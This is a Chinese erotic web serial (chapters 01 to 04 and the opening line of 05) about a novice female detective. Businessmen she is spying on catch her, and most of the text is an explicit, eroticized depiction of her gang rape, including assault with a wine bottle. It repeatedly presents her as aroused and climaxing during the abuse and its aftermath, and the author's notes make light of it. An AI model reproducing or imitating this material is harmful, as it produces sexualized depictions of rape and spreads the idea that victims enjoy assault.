热门搜索

耻辱任务

文案:
菜鸟女侦探被调查对象发现之后……

☆、01.耻辱的花瓣
正想把藏在胸罩里的通信器拿出来,苏米的肩上就停了一只手。
她压抑地尖叫了一声,回头一看,背后赫然是刚刚宴会中的某位男人。
  “小姐,你藏在窗帘里干什麽?”男人笑着说。
  苏米看到他阴险的笑面,心里突突地跳,脑子飞快转着想要找出个说辞,那个男人并不在意她的理由,拉着她的衣领就把她拖到了房间中央。
  这是宴会厅里的VIP房。苏米是这个房间里两个服务员的其中一个。但事实上,她是某个侦探社的社员。接到这个潜入调查任务的时候社长告诉她,其余的女社员都有工作,只剩你了。苏米心里大慌:她进入侦探社工作半年,就是处理处理文书事项而已,从来没有出去参加过调查。社长紧急培训了她两周,就把她塞到了这个酒店里作服务员。因为社长在背后做了些功夫,所以她很快就成为了VIP房的专属服务员。等了大概七八天,她终于等到了目标人群:某企业的几位高管。他们窃取了竞争对手的新产品资料,正在进行会议商讨。
  苏米的任务是将这几个高管说的话录下来,或者直接传送到社长那边。可是她没想到,刚刚躲在窗帘后面想掏出通信器,就被人发现了。
  房间里或站或坐,有九个男人。他们无一例外都用布满阴霾的目光盯着苏米。
  苏米还没站稳,也还没想到说辞,就被拎她出来的男人狠狠打了一拳。她倒在地上,呼吸不稳,口腔里弥漫了血腥气。
  包房里的另一个服务员已经被撵走,她很快知道只能自己救自己了。
  “你是什麽人?”苏米的头顶传来一个声音。她看到男人们都围拢过来,居高临下地看着她。
  “我、我是这里的服务员……”
  “你刚刚在窗帘后面做什麽?”
  “我……”苏米的脑子里飞快地掠过了一堆理由,最后她只能选择一个无法验证的,“我的肩带松了,所以在整理。”
  “是吗?”一个带着墨镜的男人根本不信,猛地从地上将苏米拉起来。苏米刚刚正要从胸罩里掏出通信器,现在被这样一扯,胸前春光大泄。
  她慌忙低头掩盖,却听到周围一片窃笑。有一只手伸到她胸前,拉开了她的上衣。苏米穿的是一件质量低劣的旗袍,被这样一扯,立刻裂开了一道长长的缝。
  苏米大惊:“你们要干什麽!”
  “大哥,怎样?”扯开她衣服的男人将苏米的两只手别到背后用手卡住,另一只手将苏米胸罩拉低,她胸前圆润的两团硕大立刻跳了出来。男人淫笑着将她的乳房捏在手中揉搓,对一个端坐的中年男人说:“大哥,好大好滑。”
  苏米羞辱得无法抬头。她的胸部一直很大,所以她这次已经尽力地用胸罩去压制自己的两团汹涌了。自己还没有交过男朋友,现在重要的部位就暴露在这些陌生男人面前,她的呼吸更加不畅了。
  被问到的中年男人没出声,苏米身边的几个人却都伸手过来抚弄她的乳房了。花蕾被两只指头夹着,突然向上一拔。苏米尖叫一声,气都喘不过来了。就在男人们的手侵犯她胸前的时候,苏米感到有人摸上了自己的大腿。
  “住、住手!” 苏米大喊,“我什麽都不会说的!求求你们让我走吧!”
  男人们更加起劲地捏着她的花蕾和大腿。端坐着的中年男人这时站了起来,苏米看到他手中有一瓶酒。中年男人发出冷冰冰的声音,不知对谁说:“验一验。”
  话音刚落,苏米就被人拦腰抱了起来,扔到吧台上。苏米又惊又羞,但无法阻止那个男人手脚利落地剥开了她的衣服。苏米感到腹部下身同时一凉,她带着哭腔喊出来:“求求你们不要!不要这样!呜呜……我、我才刚刚大学毕业!”
  现在她全身上下就只有一条内裤了。白色的蕾丝花边内裤紧紧包裹着苏米的花瓣和两个穴口。在男人们眼中,这几个被掩盖着的动人部位正在恐惧地颤抖着。
  苏米大声求饶,脱去她衣服的男人说了一句“好吵”,解下自己的领带塞到了苏米的口中,把她按倒在吧台上,另外的男人立刻按住了苏米的肩膀。苏米现在等于躺在吧台上,膝盖以下垂吊着。男人近距离地靠近苏米的时候,苏米看到一张俊美无匹的脸。她颤抖着,紧紧闭着眼,心里对接下来会发生的事情充满惧怕。
  但是如果这个任务不能好好完成,她家里欠的三百万巨债连还的可能都没有了。这个任务完成之后,她的酬金是十万块。即使是杯水车薪,但苏米也已经觉得非常珍贵了。所以她只求,能回去。
  “左楠,快点。”那把冷冰冰的声音又响起来了。
  他叫左楠……?这是夺走我第一次的人吗?苏米全身颤抖,双手握成了拳,心里只祈求着这个酷刑尽快过去。
  左楠脱下了苏米的内裤。少女的下体没有一根毛发,呈现出美丽的粉红色,暴露出来的时候他身后的一圈男人发出了淫亵的笑声。听到笑声,苏米颤抖得更厉害了。肥厚的花瓣因为身体的颤抖而颤抖着,而被肥厚夹着的小花瓣竟颤动起来,花核微微突起。左楠面色沈静,俊朗的脸上波澜不惊。他做这种事情已经不是第一次了。所以他没有愧疚、没有犹豫,伸手拨开了少女幼嫩的花瓣。
作家的话:
捂脸……


☆、02.粗暴的初次
男人的手指触碰到自己从未被人看到过的阴部,苏米发出模糊的哭声。自己暴露在这些人面前就已经很令人接受不了了,刚刚她是一直在想着“如果是那个那麽帅的人应该没关系苏米你别哭要冷静”才能略略平静下来的。但那个叫左楠的家伙,居然要在这麽多老家伙面前拨开她的……
  “啊!”苏米突然被剧痛穿透了,她发出即使口被塞住也一样刺耳的痛叫!
  左楠的手指没有任何爱抚、没有任何润滑,就进入了她的甬道。
  苏米的腰弓了起来,试图减轻从下体传来的疼痛。
  左楠的手指没有再深入,他探入了第二根手指。
  苏米全身痛得乱动,男人们纷纷压住她。她哭了出来,因为痛苦,因为屈辱。
  左楠听到了少女微弱的哭声。他置之不理。但两根手指只进去了半寸就无法再前进,少女的甬道里光滑但干涩。他知道无法顺利继续了。但“大哥”要求他“验一验”,所以他只能用最快的方式让少女自己把入口张开。
  因为左楠一直没有动,身体在适应了之后痛感也渐渐减弱了。苏米胸口起伏,乳房一荡一荡的。他要做什麽?
  左楠伸出舌头,开始轻舐少女小小的花核。
  苏米只感到一种奇异的震动从被左楠接触到的地方传来,她试图阻止他,告诉他“那里很脏”,但她无力去说话。花核继续被左楠舔舐着,苏米胸口的起伏更剧烈了。
  左楠并不是简单地舔舐,他或轻或重地用舌头去刺激少女的花核。他的舌头频率飞快地在苏米的花核上活动,被他舌头舔弄得更加突起的花核亮得异常淫靡。他的手放在苏米的小腹下方,那里能感受到子宫的动作。
  若不是被领带塞住了口,苏米现在一定被自己的呻吟惊吓到。她也常常在洗澡或是睡觉的时候抚弄下身,所以知道快感是怎麽回事。但是像今天这样还是第一次。她想象左楠那张冷淡但几近完美的脸凑在自己肮脏的地方,就感觉异常敏感和兴奋。
  左楠察觉苏米的腹部起伏变大了,他一直放在甬道中没有抽出的手指也接触到了从甬道分泌出来的滑腻液体。他不再舔舐,将注意力又放在自己的手指上。
  左楠的舌头离开之后,苏米的喘息才略略平静,但很快她又不由自主地弓起身来──左楠正在扩张她的甬道!
  很好,果然分泌了液体之后整个下身都放松了。左楠为能够顺利完成检验暗暗松了一口气。他的手指轻轻张开,把少女狭窄的甬道入口打开了。这一定会痛,即使刚刚挑逗润滑了,这也肯定会痛。不过这个痛不算什麽,接下来会更痛。左楠没有时间怜悯,他拿起手边的微型手电,照着少女的甬道深处。
  苏米又痛又难受。她一直没有听到左楠的声音,但正因为这样她觉得自己的身体异常敏感。左楠的手指保持着扩张的姿势,苏米听到了周围男人们的笑声,按住她肩膀的男人已经将手滑到了她的花蕾上。
  左楠的手指突然离开了。苏米这才缓缓松了一口气。
  “老大,是处女。”
  苏米听到左楠的声音在自己看不到的地方响起。什麽?他只是在检查自己的……处女膜吗?
  “很完美,色泽也很漂亮。”左楠平静地向中年男人报告。
  中年男人点点头,一边解开自己的皮带一边说:“这次你勃起了没?嗯?没有?哈哈哈……不行了啊,左楠。”
  左楠没有出声,他一直低着头。
  苏米听着这一切,巨大的恐惧淹没了她。不是左楠?是谁?是刚刚那个中年男人?
  正想着,她感到原本将手在她身上乱摸的人同时将手抽离了。与其一致,一双和左楠不一样的粗糙大手掰开了自己的臀瓣,紧接着一根滚烫的棒子戳入了自己的身体里。
  苏米连喊叫都未发出,全身痛得僵硬,随即昏了过去。
  “……呜,好紧……果然还是处女最好……让她醒过来!”
  几个巴掌挥下去,苏米被打醒了。醒来的瞬间,身体里几乎要将她分裂的剧痛差点让她又晕了过去。
  那根进入自己身体的肉棒是长是短、是粗是细,苏米完全不知。她的整个意识里都只有“痛”这个词:肉棒刺入身体的痛,刺破处女膜的痛,还有在自己紧窄的甬道里抽插造成的痛。痛感清晰又强烈,苏米在痛晕和痛醒中反复。
  “叫!叫啊!”中年男人命令将苏米口中的领带拿走。
  口腔得到释放的瞬间,苏米喉中破碎的哭喊溢了出来。她几乎听不到自己的声音,但是随着男人的每一个动作,她都知道自己在求饶。
  “快求我!求我!为什麽你不求我!为什麽你不爱我!”
  男人被苏米的哭叫刺激得更加兴奋,一边低吼着,身下动作愈加激烈。他说的话苏米完全不明白,她只知道似乎过了很长很长的时间,在她身体里抽插的男人发出夹杂着痛苦和愉悦混合在一起的低吼,苏米立刻感到一股火热的液体喷入了自己的身体深处。
  男人将肉棒抽离的时候,苏米再度被痛得晕了过去。
  她方才还洁净美丽的下体,此刻一塌糊涂。小小的穴口中流出了红色的液体,间杂着一些浓稠的白。液体淌到吧台上,淫靡的气氛悄悄在房间里发酵。
  “老大,到我们了吗?”
  苏米苏醒之后听的第一句话就是这个。她还混乱着的脑袋开始疯狂摇动,口齿不清地说着:“救命……不要……呜呜呜……救命……”
  “还不行。”中年男人用纸巾擦拭自己已经软下来的阴茎,对左楠说,“你去。”
  苏米躺在吧台上,全身乏力。但她听到左楠缓步走到了自己身边。
  “你酒精过敏吗?”左楠低头看她。躺在吧台上的少女全身大汗淋漓,可也因为全身是汗,胸前蓓蕾异常诱人。
  苏米不知道他要做什麽,轻轻摇了摇头。如果是左楠,应该会没事吧。
  “好。”左楠继续将她按在吧台上,但把她的身体往边缘拖动了。
  中年男人在苏米看不到的地方朗声说:“让左楠先消毒,你们再上。”
  苏米大惊,奋力撑起上身。她现在被左楠摆放在吧台边缘,双脚离地,但腰部以下都垂吊着。从她的角度只能看到左楠蹲在她下面,手里拿着一支红酒。
  “不不不不不不不!!!!!!!!!!!”
  苏米发出更加凄厉的叫声,叫声中掺杂着巨大的绝望和恐惧。
  左楠被吓了一跳,不由自主地抬头,正好对上了苏米流泪的眼眸。
  哦对,我差点忘记了,这个女孩子不是出来卖的。左楠心里震动了一下。这个用酒来“消毒”的游戏身后的老男人们没少玩,就在这个酒店里,也有几个“公主”和他们玩过。但因为那些女人都是出来做这个事的,也都有了自己的技艺和心理准备,所以并不是很痛苦。但今日这个少女不仅是处女,而且并没有这方面的心理准备。
  这是能将人的精神堤防彻底击溃的可怕绝技。左楠纤长的手指在苏米被血液和精液污染的花瓣上轻轻拂拭,他尽量让自己的手放松,像一片羽毛一样不给少女造成伤害。
  已经再次被狞笑着的男人们禁锢的苏米没有躺在吧台上。一个男人坐在吧台上,将她的上身笼在自己怀中,双手卡住她的胸前,一来可以把玩苏米的乳房,二来苏米无法挣脱,三来这个角度正好可以让苏米看到左楠正在对自己做什麽。
  因为一直在对左楠苦求,苏米的声音已经嘶哑,喉痛难抵,发出的声音也完全听不清楚。左楠在她下身缓缓移动,异常温柔。苏米看着左楠,突然意识到他是在安慰自己。他并不粗鲁,也不会罔顾她的痛苦,苏米止住了哭泣。不能再哭了,这些人应该就是希望看到我又哭又叫,甚至匍匐求饶。与其那样,不如忍耐着,等到他们发泄完了我就可以离开了。
  身后的男人以非常熟稔的手势揉搓苏米的乳房,苏米即使再抗拒,也能清晰感受到从胸前软肉上传来的愉悦感受。甬道里的痛楚已经大大减轻,左楠尖长的手指温柔地挑拨着她的花瓣,指甲不时拂过花核,引起苏米身体的一阵颤抖。
  “呜……”苏米将喉中的细微呻吟咬紧,此时左楠正用手指自上而下缓缓压过她的缝隙。
  这女孩很棒,就性事的意义来说。身体线条完美,又敏感,重要的是即使刚刚破身,依旧能很快地感受到愉悦的快感。虽然左楠没有看苏米,但他从自己手指接触苏米的瞬间苏米小腹和大腿内侧肌肉的颤抖,轻易就看出苏米的身体正在适应男人的抚弄。
  这样很好,至少在接下来的事情中她的身体不会无意识地反抗,否则真的会因为痛苦而出事。左楠的指腹在滑过少女缝隙的时候加大了力气,他的手指触到了少女花瓣的褶皱和滑嫩,并且进入了甬道的入口。
  苏米的身体自然而然地有了反应,紧紧地吸住了左楠的手指。左楠将手指抽出,带出了银色的细丝。他下意识地抬头,正好看到少女通红的脸。苏米硕大的乳房上压着两只粗糙的手,她的眼睛却一直注视着下方的左楠。看到左楠手指上的液体痕迹,苏米皱眉闭上了眼睛。
  少女身体里外的浆液,左楠都没有清理。他知道那些人并不喜欢清理,他也知道此刻自己身后的男人眼睛都发红,喉头粗鲁地吞吐着。
  就这样吧。左楠拔出了手中酒瓶的木塞。他听到少女发出悲鸣,但没有理会。
  酒瓶凑近了下身,冰凉的瓶身贴在发热的阴-唇上,舒服得让苏米低低呻吟了一声。正在她胸上肆虐的男人也听到了她的声音:“喜欢吗?来劲了吧?叔叔再捏捏,你要叫出来……”
  苏米恨不得咬他一口,将嘴抿紧。
  真是恶心。左楠也听到了男人的声音,他面上平静,心里却在冷笑。稳稳地拿着酒瓶,将瓶口紧贴着少女的门户,擦过花核的时候他又触摸到了苏米全身的颤动。左楠轻轻拨开穴口,只见穴中有透明的稠汁缓缓淌出。他没有丝毫犹豫,将酒瓶的瓶口用力挤入了少女的穴口。
  苏米倒抽了一口冷气。方才被撕裂的伤口又被撑破了,她咬着牙,但眼泪不由自主落了下来。
  一滴温热的眼泪落在左楠的手背。他看到从瓶口与甬道的缝隙中缓缓流出了淡淡的血液。看来她很痛,刚刚的死老头太粗鲁了。左楠没有擦掉苏米的眼泪,他一边扶正酒瓶,让瓶口卡在少女的身体里,一边用另一只手的指腹摩擦花核。
  持续的痛感和渐渐涌起的快感交替侵蚀苏米。花核是她最敏感的地方,她在多次的自慰中明白了这一点。左楠显然是个老手,他只用两根手指,就将苏米的花核挑逗得肿胀突起。随着苏米的身体兴奋起来,她腹部起伏的频率也在加快,从穴口流淌出来的汁水越来越多。
作家的话:
可怜的女主,摸摸头~~~


☆、03.七个男人
苏米被可怕的羞耻感引发了自我厌恶。她熟悉身体里蠢蠢欲动的感觉,想到自己居然被一个酒瓶和两根手指挑至高潮,她恨不得立刻就这样死去。
  左楠知道甬道已经充分润滑了。他托着酒瓶底部,缓缓将酒瓶颈部往苏米的深处推去。红色的酒浆在瓶中晃动,那是苏米的身体在剧烈颤抖。
  花核已经不被手指刺激了,苏米异常真切地感受到冰凉的酒瓶深入自己内部,她从不知道自己身体内的那个地方居然可以容纳这些东西,而且甬道似乎还没有到底。
  左楠将酒瓶不断推进,直到颈部完全进入了苏米的体内。少女的身体颤抖得比之前更厉害,左楠拖着酒瓶底部猛地一旋,瓶口与瓶颈瞬时在少女体内旋转了一圈。
  “啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!!”
  苏米口张着,连声带都大幅颤抖的尖叫从她嘴里发出来。
  “果然还是左楠厉害啊!”“太棒了!”左楠身后传来男人们扭曲的欢悦之声,他站起来回头,看到地摊上沾满了男人们的斑点精液。看着左楠离开苏米身下,男人们也顺势将脱了一半的裤子全拉了下来。
  现在酒精消毒的过程结束了,但是顺序如何还不能决定。男人们全都看向坐在椅子上看好戏的中年男人。
  “大哥,你先……”
  话还未说完,中年男人就站起来走近了。左楠跟在他后面,不带任何情绪的眼神盯着苏米。
  苏米从高潮中已经缓和回来。身后的男人离开了吧台毕恭毕敬站在一边,她全身乏力地躺在吧台上。刚刚是她人生的第一次高潮,因为太过激烈,她几乎兴奋得昏过去。看着中年男人走过来,苏米不哭也不喊,只是盯着她。
  中年男人掰开苏米的大腿,让还插着酒瓶的下体暴露在自己面前。
  “不错嘛……和你妈妈一样……”
  苏米猛地睁大眼睛,似听到了什麽不可思议的事情。
  中年男人将酒瓶拉出来,又再次迅速地插回去。虽然经过了高潮,苏米还是痛得痉挛,男人却看似乐在其中:“连反应都差不多,很好,很好……”
  “你……啊!你……你认识我妈妈?”
  红酒一股股地冲刷着苏米的身体深处,又在酒瓶抽离的时候落在地上。
  “你先满足他们。记住,不能晕过去,必须清醒。然后我告诉你,关于你妈妈的一切。”中年男人笑得磊落坦荡,看在苏米眼里却阴森可怖。
  他的这道话就如同“开饭了”,男人们群涌而起,一根根丑陋粗大的性器出现在苏米眼前。苏米恶心得要呕吐,但她无能为力。
  和左楠不一样,这些男人仅仅是想进入一个处女的身体。他们没有任何爱抚和前戏,就直直插了进来。苏米狭窄的阴道被一次次地冲撞开,她甬道里的温柔褶皱不断抚摸着不同男人的性器。
  没有快感,只是疼痛。苏米被他们抱着扔在桌上、地毯上、窗台上,最后是床上。她的身体很软,几乎每一个部位都能摩擦男人的兴奋点。乳房被捏得不成形状,下体不断地被抽插。苏米觉得自己的身体除了能感觉到痛感,其余的什麽都没有了。
  从窗外阳光万丈到夜幕沈沈,她不知道过了多久,因为所有的力气都用来回忆之前二十几年中的快乐事情,不然她肯定撑不下去。
  男人们的精力似乎还没用完,而且每个人在她身上发泄的时间更长了。原先已经射在里面的精液本来作为润滑,让苏米的痛苦少了很多,谁知后来时间间隔越来越长,精液的润滑作用几乎不存在了。他们坚硬的阴茎摩擦着苏米已经破损流血的内壁,而苏米又将口唇咬破,硬是不发出一丝声音,男人们渐渐感到无聊。
  最后一个男人将性器抽离苏米的身体时,左楠看到苏米痛得再次颤抖,但她没有发声。红肿的下体布满了白稠的精液和鲜艳的血迹,少女的甬道入口已经松弛大开,稠浆还在继续涌出来。左楠心有不忍地垂下了眼:这是他参与的几次乱交中,最可怕、最残忍的一次。
  中年男人走近床铺,温柔地对苏米笑道:“小姑娘,开心吗?”
  苏米涣散的眼神很艰难才聚起来。她瞥了男人一眼,再无任何表情。
  “我特地嘱咐他们不要用你的口和肛门,不谢谢我吗?”
  “谢……谢你祖宗……”
  中年男人也不生气,笑笑说:“记住我的名字,我是穆廷风,你妈妈最恨的男人。”
  苏米的回忆深处,突然窜出了“穆廷风”这三个字。那是七八岁的她在母亲的秘密木盒里找出的一张明信片,上面写着绵绵的情话,落款赫然就是“穆廷风”。明信片被母亲用一张柔布包着,珍而重之地放在隔层里。她生怕母亲生气,小心翼翼地将一切复原放好,母亲并不知道她曾经看到过这些。
  然而自从母亲疯了,苏米再也没见过那个木盒了。
  穆廷风不知苏米在回忆什麽,但他原本就打算重创苏米,毁掉她的精神,让两母女都成为废人。看到苏米的眼眸直直地盯着墙壁,惨白的脸庞上一丝生气都没有,穆廷风笑了:“苏米,能在疯之前体验过那麽多男人,你要多谢穆叔叔。”
  言毕,穆廷风带着整理好衣服的其他男人长笑离去,只留下左楠,静悄悄立在床铺旁边。
  左楠已经习惯了穆廷风的这个做派,反正他做得了他的秘书,肯定也是得帮他料理许多后事的。
  只是面前的少女形状太凄惨,他作为一个男人,不知怎样才能妥善处理。
  躺了好一会,苏米的神智才渐渐恢复。她牢牢记住了穆廷风三个字,慢慢撑起身子,想着要立刻回家。这时她才看到一直安静站在床边的左楠。
  左楠比那些人都年轻,挺拔的身体被合体的西装包裹着,原来被梳理得一丝不苟的黑发现在已经有些散乱,有几根搭在他低垂的眼睛上。他没有看苏米,安静地注视着窗外。
  但苏米还是吓了一跳。虽然方才在房间里的淫乱情景中,左楠必定将自己全身都看遍了,但苏米不愿意这样赤裸地出现在他面前。她想从床上抓一张床单,结果发现什麽都没有。
  不行,不行……这样的自己一定很恶心……不能让任何人看到……
  苏米的衣服已经被撕破了。她看到床单被散乱地扔在不远处的地上,连忙下床去拿。谁知双腿无力,刚刚站到地面上她就立刻倒了下去。
  “苏小姐!”左楠大吃一惊,一个箭步跨上去想搀扶她。
  “不要碰我!!!”苏米尖叫道。
  左楠的身形顿时停了。
  刚刚的一摔,把她用意志压制下去的痛楚都激活了。苏米全身上下没有一处不酸痛,她没有站起来的力气,只能咬牙向床单爬去。
  见她倔强的样子,左楠发不出任何声音。苏米显然是想去抓那张床单,但是他若出手帮助,似乎就会扯断这个女孩支撑着自己的最后一根线。
  终于抓住了床单,苏米喘着气把它披在身上。刚想松口气,却赫然看到床单上红红白白的脏污痕迹。苏米愣愣地抓着床单,已经停止了好久的泪水突然一滴滴落下来。
  左楠看不下去了。他脱下外套,走上前披在苏米肩上,并蹲下来拍了拍她的肩。
  左楠的外套和手都很温暖。苏米发出崩溃的大哭,将那张满布她血痕和其他人精液的床单包裹着自己的躯体,蜷成一团。
  到左楠将她抱起来的时候,苏米已经哭得抽搐,昏了过去。左楠本不想用脏床单,但是苏米明显不想用自己的外套,因为床单可以把她整个人都保护在里面。
  在VIP房的旁边就是直达贵宾停车场的电梯。左楠抱着苏米,感觉到她整个人都还在颤抖,脸上偶尔滚落大颗泪珠,看来是在昏睡中也一样哭泣着。
  左楠知道苏米的地址,但这样将她送回去只能让她成为附近三姑六婆的谈资。于是他调转车头,开回了自己家里。他一边开车,一边从后视镜看睡在后座的苏米,不由觉得有些讽刺:他从不将女人带回家里,这次带回家的反倒是一个和他没有任何关系的人。
  他住在一个小区里,独门独户的三层小别墅是他依恋的地方。左楠不喜欢泡吧,不喜欢抽烟喝酒,也不喜欢乱找女人。他的闲暇时间几乎都在自己家里度过。
  将苏米抱回家之后,左楠略略犹豫了一下。这件事被穆廷风知道了自己会怎样?这时怀中的苏米发出轻轻的抽泣声,左楠无奈地笑笑,关上了门。
  一楼是大厅、书房和厨房,他的房间和客房都在二楼。左楠把苏米放在客房的床上。少女的身体从床单中露出来,污浊不堪。
  轻叹了一口气,左楠又把苏米抱了起来,走进浴室。客房的浴室并不大,他将苏米放在浴缸里,少女还在沈沈的睡眠之中,他也无意叫醒她。
  试了试水温之后,左楠开始细细地为少女清洗身体。
作家的话:
女主真凄惨~唉对不起啊我是个变态~
谢谢投票!┌(┘3└)┐


☆、04.清洗
因为穆廷风的命令,所以男人们全都把精液射在了少女的体内,皮肤上残留的只是汗液和刚刚被床单沾染上的脏东西。苏米因为哭泣和痛苦,全身大汗淋漓,连头发都湿透了。左楠轻柔地为她洗净了头发,然后洗身体。苏米胸前的蓓蕾被捏得青肿,明天一定会很痛,但比起其他地方的伤,这个似乎又不算什麽了。
  左楠有些尴尬,他轻轻揉搓着少女的乳尖,一点点地随着水流擦掉汗渍和男人口水的痕迹。
  水温很合适,左楠的动作也很温柔。苏米沈重的睡眠似乎松了一个口,她的唇中溢出娇柔的呻吟。
  左楠立刻将手抽了回来。
  苏米不见有其他动静,左楠心中暗笑自己的紧张,脸上又换了一张不苟言笑的脸。
  洗净上身之后开始洗下身。左楠心里想着这是为你好,将喷头固定在墙上,水流冲刷着苏米的花瓣和穴口。他的手指随着水流,在苏米的缝隙里慢慢移动。
  刚刚经历了残酷的蹂躏,苏米的下身在麻木之后再次回复敏感。左楠的手指开始动作不久,苏米就清醒了。看到发生了什麽事之后,她狠狠推开了左楠。
  “滚开!禽兽!”
  左楠一直注意着清洗下身的时候不能让苏米再受伤,根本没注意苏米醒了,直接被推着撞到了墙上。墙上正好有一块小小的突起,左楠的手臂正撞了上去,疼得他面目扭曲。
  这看在苏米眼里更是令人生厌。如果说她原先认为左楠还是个不错的人,现在见他这样乘人之危,不由得把一点点的好感都抛开了。
  “混蛋……禽兽!放我回家!”
  她以为自己还在穆廷风的掌控范围内,而左楠是穆廷风派过来继续折磨她的。
  左楠见苏米一脸愤怒和紧张,眼里还有掩饰不了的惧怕,又想到她今天遭遇的一切,便大量地不生气了。
  听左楠解释了她昏迷之后的事情,又见到左楠一张和先前一样的冷淡表情,苏米信了一半。但左楠说到自己是想跟她洗身子,苏米又羞又气:“我自己来!”
  左楠点点头,好,你自己来。转身走了出去。
  他将她带回来是出于人类对弱小动物的怜悯之心,并无其他。既然弱小动物已经能料理自己了,他也不需要再做什麽了。
  在卧室里换衣服准备洗澡的时候左楠才想起苏米并没有替换的内衣裤。他从自己的衣柜里找出以前买的、但是再没有机会送出去的一套女式内衣,端详了半天,走了出去。
  带着自己的衬衫和那套内衣裤走到客房,左楠听到了从浴室里传出来的哭声。
  苏米将自己浸在浴缸里,咬着口唇哭泣。大概是因为知道这里是别人的家,她压抑着自己不敢放声吧。左楠将换洗衣物放在床上,走进了浴室。
  “怎麽了?”
  “不要你管……”苏米勉强止住了哭泣。
  “我不想管你,但是你现在这个样子很多事情做不了。我是帮你,这个人情你以后有机会是要还的。”左楠说。
  苏米抬起头,泪眼朦胧。左楠觉得她像一只被伤害之后无助哭泣的小兽,心里有些不舒服。
  “所以,怎麽了?有什麽我可以帮忙的吗?”左楠换了个说法。
  苏米的眼泪扑扑往下掉,涨红着脸说出了缘由。原来她把自己上上下下都洗干净了,但是里面却没办法洗。苏米自己虽然有自慰过,但是从未伸手到那麽深的地方,她也不知道怎麽才能把里面的东西弄出来。这个事情她说不出口,但左楠一听就明白了。
  “我明白了。你不用起来,我帮你。”左楠让苏米继续坐在浴缸里,转身脱下了上衣,踏入浴缸。
  “你、你、你做什麽!”苏米一惊,全身紧张得缩在了一起。
  左楠坐在她背后,温暖的水漫到他的胸口。苏米的胆怯和畏缩让他有点烦,于是伸手将苏米揽到了自己怀中。
  “我帮你洗干净。别怕……”左楠不让苏米再挣扎,“你别乱动,伤到了自己。放心,我不会伤害你的。”怕苏米不相信,他把头抵在她肩上,轻声道:“我没办法做那件事。”
  苏米一愣,左楠将手卡在她胸下,让她的背部和自己的前胸紧贴在一起。“所以我不能干你,放心了吗?”
  苏米终于安静下来。她并非相信,而是觉得这个男人的怪异行为有了解释。在她被侵犯的时候,她记住了那些压在身上的人的面貌。但是穆廷风只夺走了她的第一次,之后就不再靠近;而左楠最为奇怪,他站在穆廷风身边,偶尔会注视着男人们在苏米身上耸动的模样,但那双眼睛里没有任何欲望,只是漠然。好几次苏米和他的眼睛对上,他冷静地和她对视着,不回避也不尴尬。
  左楠没管苏米现在在想什麽,总之她安静下来就可以了。他刚刚打算给苏米洗身子的时候就拿来了医用手套,现在正好能用上。
  带上了手套的手指又一次伸到了苏米最敏感的地方。苏米依旧感觉到痛,但那双手还是和之前一样轻巧温柔。
  在她身后,左楠却皱了皱眉。原本在那里他已经看到苏米的甬道松弛大开,但现在居然又紧紧地闭合了。而且因为红肿,比之前更加难以进入。难怪那些脏东西流不出来,左楠心想。
  “苏米,我开始了,可能有些痛,你忍一忍。”左楠称呼她的名字,口气温柔了很多,“为了让你放轻松,我可能会做一些其他的事情。不管怎样,你记住不要抗拒我就可以了。”
  苏米点点头。左楠的右手托着她的左乳,左手的手心覆盖在她的花瓣上。隔着薄薄的手套,她感觉到左楠手心传出来的温度。这并不难受。
  左楠的手指沿着苏米的缝隙来回按压。苏米的花核依旧是肿胀的,这只能说明她的身体被过度使用了。左楠想到这个乖乖依偎在自己怀里的纤弱女孩刚刚所经历的一切,心中有些莫名其妙的难过。
  他的左手沿着苏米的脊椎滑落,经过她的股沟,现在正在她的下身摸索。左楠好几次想进入了,但是发现苏米还是紧闭着,他担心强行入侵会让她受伤,只好继续在外面抚弄。为了更快地解决,他的右手也在水面上或轻或重地揉搓着苏米的乳房。
  苏米咬着牙,但是愉悦感一波波从下体、从胸部侵入脑中。左楠这个家伙到底是什麽人啊?他的手心覆在蓓蕾尖端缓慢碾压,仅仅是这个动作就已经让苏米面红耳赤,大喘粗气了。
  左楠的手指再一次试图探入的时候,发现少女的甬道口已经微微张开了。他小心地将中指探入,苏米发出不受压制的苦痛呻吟。
  “叫出来……苏米……痛也好什麽都好,叫出来……不要怕……没人会听到的……”
  “好……难受……里面……好痛……啊!”
  苏米的身体大幅颤抖,左楠不敢再前进了,他的手指停留在少女的身体里。刚刚他沿着内壁深入的时候,触碰到了受伤的地方。
  “对不起,苏米。对不起……”左楠耳语一般向她致歉。
  苏米将头后仰,靠在他的肩上,表示没有关系。
  过了好一会儿,听到苏米的鼻息渐重,口中发出的呼吸也开始急促,左楠的手指再次缓慢地动了起来。他知道事实上快感可以盖过甬道的疼痛,但他并不认为让这个少女获得快感是一件好事。所以他异常小心,待手指在苏米的身体里移动变快而苏米也没有任何不适反应后,左楠缓慢地将手指抽了出来。
  “天哪……”
  苏米低头看了一眼,又立刻转头了,脸红得要滴血。
  左楠手指抽出之后,一股淡粉色的浆液从苏米的花瓣中落到了水里,很快就消散了。这副情景令苏米羞惭不已。
  左楠继续将手探入她的身体深处。“没事的,你没错……不是你的错……”
  苏米的身体能够接受左楠的手指了。左楠在清理了大量的浓浊之后,开始抠挖甬道内部。他的手指很长,每每在苏米体内弯曲,苏米的腰就会弓起,发出媚人的呻吟。
  糟糕,我挑逗起她了?
  左楠只想速战速决,手指的动作频率加快了,挖出来的浓浊却还在不断涌出。那些恶棍,到底在她体内灌了多少?!左楠心中渐渐升起怒气,手上的力气也加大了。苏米体内的陌生快感汹涌难耐,她的手不知如何放置,只好抓住浴缸边缘。
  最后当左楠抱着苏米走出浴缸,苏米已经全身瘫软。她体内的污浊之物都被清理干净了,而且在左楠的手指下小小地高潮了两次。左楠有些愧疚,因为少女明显体力不支,连坐起来都很难。他为苏米穿好了衣服,盖好被子,轻手轻脚走了出去。
  待他关上门,苏米睁开了眼睛。她又大又圆的眼睛闪烁着窗外的微光,待闭眼之后,泪水滚落在枕头上。
  回到自己房中淋浴的左楠站在喷头下冷静自己。刚才在为苏米清洗身子的时候,苏米第一次高潮很快就来了。她狭窄的股沟紧贴着自己,左楠在抚弄着她下体和胸部的那一刻,居然感觉自己的下腹有陌生又熟悉的灼热涌了上来。
  但是现在看来,没有任何事,自己胯下依旧绵软,没有任何勃起的可能。
  左楠握拳,狠狠砸向了墙壁。水流瀑布一样从他的头顶落下。
作家的话:
谢谢投票的你们~┌(┘3└)┐
话说蜜柚想问问,你们看到03了麽?
在后台能看到,但是都一天了表示咱在前台页面怎麽都看不到……
(这都04了03还没出来是闹哪样啊喵!)


☆、05.发疯的母亲
  苏米醒来的时候脑袋非常疼,但她还是挣扎着起身了。
